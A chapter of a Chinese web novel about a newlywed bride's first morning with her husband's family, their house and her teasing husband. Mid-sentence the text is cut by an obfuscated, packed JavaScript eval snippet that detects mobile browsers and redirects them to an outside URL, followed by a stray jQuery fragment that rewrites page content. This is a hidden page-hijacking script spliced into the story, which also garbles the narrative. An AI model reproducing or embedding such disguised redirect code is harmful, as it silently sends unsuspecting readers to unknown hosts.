徐氏抬起头夹菜,一晃眼,就看到了江衔月手上戴的镯子,那只碧玉镯,她怎么看怎么觉得眼熟。
她的目光往陆氏那边移了移,见陆氏手腕上空荡荡的,心中的怀疑更甚。这镯子,倒像是婆婆戴过的那个,婆婆虽不常戴,但儿子成婚,媳妇儿认亲这样的大日子,她总会戴着的。
只是刚刚才收了人家实心的银锁,不好直接给人难堪,她也只能按下不表,只是眼神总忍不住往那边瞟。
钟五和江衔月都发现了,只是不好问,就安心吃饭。
江衔月先前听三奶奶说钟家兄弟多,只怕家底薄,日子不比家里好过,她心里已经有了些准备。
但真正到了陆家,上了桌,才发现吃得还是不错的,玉米糁和细面做的饼子,暄软可口;粟米搀红薯熬的粥,香甜软糯;两样自家腌制的小咸菜,一样萝卜干,脆生生,嚼起来咯吱咯吱响;一样腌韭菜,颜色翠绿,风味独特。
而且可能因为这是她头一天进门,所以桌上还多了糍粑和鸡蛋。
只看这堂屋的环境和这餐朝食,就知道钟家爹娘和几个妯娌都是爱干净的利落人。
江衔月心里有了数,看众人吃得差不多了,就要起身收拾碗筷。
陆氏拉住她的手,“这个月你可别忙活,下个月再跟着你嫂子们学。让老五带你四处转转,认认地方,你也把东西归置归置。”
江衔月刚进门,屋里除了一张床是铺陈好的,她的大部分零碎东西都还在箱子里,确实需要整理。她看屋里其他人并没有露出异样的表情,知道这大概是钟家的惯有的规矩,也不再推辞,被钟五牵着走了。
是真的手牵手的牵。
江衔月不太自在,微微挣了一下,钟五却握得更紧。
他们新婚燕尔,正是培养夫妻之间相处之道,相敬相爱的好时候,他可不会放手。
家里人都还在,江衔月不好做出太大动静,只得借着袖子的遮掩,乖乖被钟五拉着,在院子里转了一圈。
——
这是个大院子,院墙是用大大小小的石块垒起来的,大概有三尺来高。石块虽不均匀,但因垒得平整,看起来十分坚固。院墙外种了许多扶芳藤,顺着院墙向上攀缘,爬得比院墙还高,露出青色的嫩梢,异常别致。
房子则是泥砖砌成,外面涂了一层白灰,屋顶加盖瓦片。
正房三间,中间是堂屋,堂屋连着的东间是钟老金和陆氏的住处,西间现在是钟大的女儿钟宝儿在住。
以三间正房为中心,东西隔了六尺的距离,又各加盖了两间房,东边两间是钟大夫妻的住处,西边两间是钟二夫妻的住处。
除此之外,院子东西还各有一排房屋,跟钟大、钟二住的房屋规格差不多,都是两间打通了连在一起,只是跟他们坐北朝南的格局不同,这两排房屋分别是坐东朝西和坐西朝东的。
坐东朝西的两处,北边住的是钟三一家子,南边住的是钟四夫妻俩。钟五和江衔月就住在坐西朝东偏北的那两间屋子里,跟钟三和赵穗儿正对门。
南边的两间就是钟六的住处了,他还没成婚,所以比起哥哥们的屋子,他的两间屋空荡荡的,虽是跟其他房屋或并排或对称,但他自己看去,总觉得自己的屋子像是要飘离钟家院子的一座小山,冷清得要命。
因房屋多且大,围成的中间的院落也十分宽敞,正房门前种了两株樱桃树,此时树上已冒出了一个个细小的花苞,圆鼓鼓,粉嫩嫩,密密匝匝,惹人喜爱。
钟六屋子南边、院子偏西的位置有一棵大榕树,枝繁叶茂,树冠撑开如伞盖一般,是个乘凉的好去处。因此树下设了一张石板桌,也不知是从哪里寻来的大石板,边沿虽不规整,厚薄却十分均匀,底下四边用几块厚重的石头支起来,稳稳当当的,想来夏天就在这里吃饭歇息了。
鸡舍、猪圈和茅房在院子的东北角,灶房、杂物房和柴棚在院子的西北角。因家中兄弟妯娌多,院子东南角还有一个茅房,是给家里的女眷用的。
院子前头是一大片菜地。院子东边是空地,和最近的邻居也隔了十丈远。北边是一片竹林,竹林一直往西延伸到小河边上,竹林,院落和小河之间又是大片空地,竹林再往后就是山了。
据钟五说,他们家原来在后头的山上住,搬下来也不过是这十来年的事,他们兄弟多,划得的宅院地方就大。从东边邻居家院墙起,往西到小河边上,都是他们的宅地,钟家爹娘那时候就在中间位置选了一块,建了现在这处宅院。
江衔月啧啧感叹,心中生出敬意来。
今日认亲,除了钟家众人,并不见有别的亲眷。她也听三奶奶和大伯母说过,说钟家爷奶是早早就离世了的,钟家在芳草滩上就这一支,没别的亲戚。婆婆娘家在比杏花里更北边的石集,倒是还有几个隔了房的堂兄弟,只是没听说他们有什么来往。
既无长辈提携,又没亲戚帮衬,底下还有六个小子要穿衣吃饭,要娶妻生子,要买田置地。钟家爹娘从山上搬下来,建房子,养孩子,置下如今这份家业,也不知道吃了多大的苦,做了多大的难,不由得她不佩服。
只是江衔月心中还有几分疑惑。
他们刚刚吃饭的堂屋,地上都是土地面,而且从屋门看,连着的钟家爹娘住的东间和钟宝儿住的西间也都是土地面。虽然收拾得干净,却不如他们住的屋里的石头地面平整,也不容易泛潮。
按说正房是一个家庭的门面,就算要铺地板,一般人家也都会先在正房铺,那现在这种情况,难道是因为钟家爹娘比较心疼儿子?
江衔月暗暗猜测着。
不过她很快就知道了,整个钟家,只有他们屋里是石头地面。
因为她看见钟六每天吭哧吭哧往自己屋子前堆石头,她问钟五是干什么,钟五道:“可能他也想给自己屋里弄个石头地面吧。”
江衔月这才知道,他们屋里地面上的石头都是去年秋冬钟五一个人一块块捡了又一块块铺上去的,心中自是又心疼他几分,这都是后话了。
——
现在,被钟五拉着进屋的江衔月,还有几分不好意思,尽管钟五刻意敞着外间的门。
她先去床头将遗落在枕头旁的红盖头收了,看到褥子下露出的红封一角,才想起昨天林婶子帮忙藏了好些个红封在屋里,便
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15048285|160214||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一一收拾了。
可床顶的几个实在太高,有两个红封又滑到了帐子中间,她有些够不着,就拉了钟五去够。
钟五大概明白她想让他做什么,他也看见了红封,只是还要逗逗她,便扶着她的肩膀问:“你叫我什么?”
自订了婚,江衔月一直都没称呼过钟五,在别人面前提起也都是“他他”的喊,在一起的时候更是只称呼“你”。
她以前也是喊过“钟大哥”、“钟五哥”这些称呼的,只是后来定了亲就不太能叫得出来了,好像叫什么都显得太过亲昵。
昨天钟五倒是叫了她娘子,可从昨日到现在,她也没改过一句口,现在被钟五问住,她偷偷瞄了他一眼,有些不好意思。
那一眼,无限娇羞,钟五低下头去,拨了拨她额前垂下来的那缕刘海儿,“还有昨晚,我帮你拦住了人,你是不是该谢我?”
江衔月轻轻挣了一下,“你替我谢吧。”
钟五就笑出了声,他听出了里面的意思。
这是说他们夫妻一体,拦人是帮她拦,自然也是帮他自己拦。他要她谢他,她自然可以要他替她谢。
他弯下腰,将她高高抱起。
江衔月差点惊呼出声,连忙揽住他的肩膀,见内间的帘子垂着,没人看得见,才将高高悬着的心放了下来。
“我不帮你拿,你自己拿,你什么时候想好了怎么叫我,我再帮你。”
江衔月已经看见了红封,只是滑到帐子中间的那两个离得有点远,她伸长了手臂也够不到。
“往那边去点儿。”江衔月扶着钟五的肩膀,往前指了指。
钟五不过去,手臂紧紧箍在她的腿上,仰头看她,“我是你的谁?你叫我什么?”
江衔月无法,搂紧他的肩,悄悄叫了一声“夫君”。
钟五稍稍满意了,但他还想听听别的,“还有呢?”
江衔月想了想,又叫了一声,“五哥。”比喊夫君的声音还低。
这回钟五满意了,将人放下来,照着朱唇啄了一口,才踮着脚伸手取了帐子中间的红封,给江衔月。
江衔月有些羞,但并不讨厌。
虽然在当下世俗观念里,白日就在卧房之中亲近是很不庄重的事,但是夫妻之间,如果什么都要庄重,那还过个什么日子呢。
他们心意相通,能在一开始就给以后的日子开个好头,比什么都重要。
她轻轻拍了拍发烫的双颊,觉得热气散了些,才将钟五手里的红封接过来,跟之前找出来的放在一起,数了数,大约有二十来个,每个里头都装了十枚铜钱。
“这都是娘给的,要怎么办?”
“你收着吧,总能用上的,咱们以后多孝敬爹娘就是。”
江衔月这才不再说话,同之前自己没用完的红封摞在一起,放到一个专门的木匣子里。
她出嫁前她爹给她准备了好多个这样的小木匣和藤盒,专门用来装各种零零碎碎的东西。
钟五也将自己的东西全部找出来,包括用包裹装着的他存的老婆本儿和又鼓了一点的荷包,交给江衔月,顺便给她讲了一下家里的规矩。